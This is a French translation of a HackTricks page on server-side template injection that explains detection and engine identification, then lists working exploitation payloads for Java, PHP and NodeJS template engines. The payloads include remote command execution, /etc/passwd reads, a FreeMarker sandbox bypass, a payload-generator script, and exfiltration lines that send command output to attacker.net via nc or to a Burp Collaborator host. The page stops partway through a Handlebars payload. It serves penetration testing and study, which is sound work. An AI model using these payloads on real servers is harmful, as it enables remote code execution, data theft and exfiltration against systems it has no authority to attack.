# SSTI (Injection de modèle côté serveur)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
## Qu'est-ce que l'injection de modèle côté serveur ?
Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe native du modèle pour injecter une charge malveillante dans un modèle, qui est ensuite exécutée côté serveur.
Les **moteurs de modèles** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques par injection de modèle côté serveur peuvent se produire lorsque **l'entrée de l'utilisateur** est concaténée directement **dans un modèle**, plutôt que passée en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre le **contrôle complet du serveur**.
Un exemple de code vulnérable est le suivant :
```php
$output = $twig->render("Dear " . $_GET['name']);
```
Dans l'exemple précédent, **une partie du modèle** est **générée dynamiquement** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant de placer un payload d'injection de modèle côté serveur à l'intérieur du paramètre `name` comme suit :
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
## Construction d'une attaque par injection de modèle côté serveur
![](../../.gitbook/assets/ssti-methodology-diagram.png)
### Détecter
Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être que l'approche initiale la plus simple est d'essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\
Pour vérifier si le serveur est vulnérable, vous devez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et le **payload donné**.\
Si une **erreur est déclenchée**, il sera assez facile de déterminer que **le serveur est vulnérable** et même quel **moteur est en cours d'exécution**. Mais vous pourriez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il **reflète** le payload donné et qu'il **n'est pas reflété**, ou s'il y a des **caractères manquants** dans la réponse.
**Détecter - Contexte en texte brut**
L'entrée donnée est **rendue et reflétée** dans la réponse. Cela est facilement **confondu avec une simple** vulnérabilité [**XSS**](../xss-cross-site-scripting/), mais il est facile de différencier si vous essayez de définir des **opérations mathématiques** à l'intérieur d'une expression de modèle :
```
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
```
**Détecter - Contexte du code**
Dans ces cas, **l'entrée utilisateur** est placée **à l'intérieur** d'une **expression de modèle** :
```python
engine.render("Hello {{"+greeting+"}}", data)
```
L'accès à l'URL de cette page pourrait ressembler à : `http://vulnerable-website.com/?greeting=data.username`
Si vous **changez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, alors, **la réponse contiendra le nom d'utilisateur** (si les caractères de fermeture de l'expression de template étaient **`}}`**).\
Si une **erreur** est générée lors de ces tests, il sera plus facile de détecter que le serveur est vulnérable.
### Identifier
Une fois que vous avez détecté le potentiel d'injection de template, l'étape suivante est d'identifier le moteur de template.\
Bien qu'il existe un grand nombre de langages de templating, beaucoup utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
Si vous avez de la chance, le serveur **affichera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles qui peuvent provoquer des erreurs :
| `${}` | `{{}}` | `<%= %>` |
| ----------- | ------------ | --------------- |
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
| `${7*7}` | `{{7*7}}` | \`\` |
Sinon, vous devrez **tester manuellement différentes charges utiles spécifiques au langage** et étudier comment elles sont interprétées par le moteur de template. Une manière courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de template. Vous pouvez ensuite observer si elles sont évaluées avec succès. Pour faciliter ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :
![](<../../.gitbook/assets/image (272).png>)
### Exploiter
**Lire**
La première étape après avoir trouvé une injection de template et identifié le moteur de template est de lire la documentation. Les domaines clés d'intérêt sont :
* Les sections 'Pour les auteurs de templates' couvrant la syntaxe de base.
* 'Considérations de sécurité' - il y a des chances que celui qui a développé l'application que vous testez n'ait pas lu cela, et cela peut contenir des indices utiles.
* Listes de méthodes, fonctions, filtres et variables intégrés.
* Listes d'extensions/plugins - certains peuvent être activés par défaut.
**Explorer**
En supposant qu'aucune faille ne se soit présentée, l'étape suivante est d'**explorer l'environnement** pour découvrir exactement à **quoi vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de template, et des **objets spécifiques à l'application** passés dans le template par le développeur. De nombreux systèmes de template exposent un objet 'self' ou un espace de noms contenant tout ce qui est dans le scope, et une manière idiomatique de lister les attributs et méthodes d'un objet.
S'il n'y a pas d'objet self intégré, vous allez devoir forcer les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de Burp Intruder.
Les objets fournis par les développeurs sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents templates au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque template distinct individuellement.
**Attaquer**
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque disponible** et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de template pour déclencher la création d'objets arbitraires, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et les vulnérabilités d'élévation de privilèges.
## Outils
### [TInjA](https://github.com/Hackmanit/TInjA)
un scanner efficace SSTI + CSTI qui utilise des polyglottes novateurs
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Tableau d'injection de modèles](https://github.com/Hackmanit/template-injection-table)
un tableau interactif contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants.
## Exploits
### Générique
Dans cette **liste de mots**, vous pouvez trouver des **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
### Java
**Java - Injection de base**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
**Java - Récupérer les variables d'environnement du système**
```java
${T(java.lang.System).getenv()}
```
**Java - Récupérer /etc/passwd**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)
Vous pouvez tester vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (héritage)`
* `${7*'7'} Rien`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Contournement de Sandbox**
⚠️ fonctionne uniquement pour les versions de Freemarker inférieures à 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**Plus d'informations**
* Dans la section FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
**Plus d'informations**
* Dans la section Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf (Java)
L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également dans Thymeleaf. Si vous souhaitez réaliser une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression dans un autre emplacement du modèle, Thymeleaf prend en charge _l'insertion d'expressions_. Pour utiliser cette fonctionnalité, vous devez placer une expression à l'intérieur de `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, un payload de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
Cependant, les chances que le payload de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsque un modèle est généré dynamiquement dans le code. Par défaut, Thymeleaf ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _à la volée_, il devra créer son propre TemplateResolver. C'est possible mais cela arrive très rarement.
Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement des expressions**_. Les expressions placées entre doubles underscores (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation Thymeleaf :
```java
#{selection.__${sel.code}__}
```
**Exemple vulnérable**
```markup
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Plus d'informations**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Contourner les filtres**
Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
* Lire `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Script personnalisé pour la génération de payload
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
**Plus d'informations**
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipulation de vue Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Pebble (Java)
* `{{ someString.toUPPERCASE() }}`
Ancienne version de Pebble ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Nouvelle version de Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava est un projet open source développé par Hubspot, disponible sur [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Exécution de commande**
Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
### Hubspot - HuBL (Java)
* `{% %}` délimiteurs d'instructions
* `{{ }}` délimiteurs d'expressions
* `{# #}` délimiteurs de commentaires
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Plus d'informations**
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique d'application (managed beans). EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de dépendances et de contextes pour Java EE (CDI).\
Consultez la page suivante pour en savoir plus sur **l'exploitation des interprètes EL** :
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Groovy (Java)
Cette méthode de contournement du Security Manager a été prise de ce [**compte-rendu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir le savoir-faire technique**, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Plus d'informations**
* Dans la section Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Erreur`
* `{{foobar}} Rien`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Format de modèle**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Plus d'informations**
* Dans la section Twig et Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates s'inspire de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.
contrôleur :
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
modèle de page :
```php
layout('template', ['title' => 'User Profile']) ?>
User Profile
Hello, =$this->e($name)?>
```
mise en page du modèle :
```html
=$this->e($title)?>
=$this->section('content')?>
```
### PHPlib et HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) est identique à PHPlib mais porté sur Pear.
`authors.tpl`
```html
{PAGE_TITLE}
Authors
Name Email
{NUM_AUTHORS}
{AUTHOR_NAME} {AUTHOR_EMAIL}
```
`authors.php`
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
### Jade (NodeJS)
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Plus d'informations**
* Dans la section Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP non-compilant, qui utilise des balises XML pour diviser un document en différentes parties
```xml
This is the main page.
It contains another template.
Hello {NAME}.
```
### Handlebars (NodeJS)
Path Traversal (plus d'infos [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Erreur
* ${7\*7} = ${7\*7}
* Rien
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
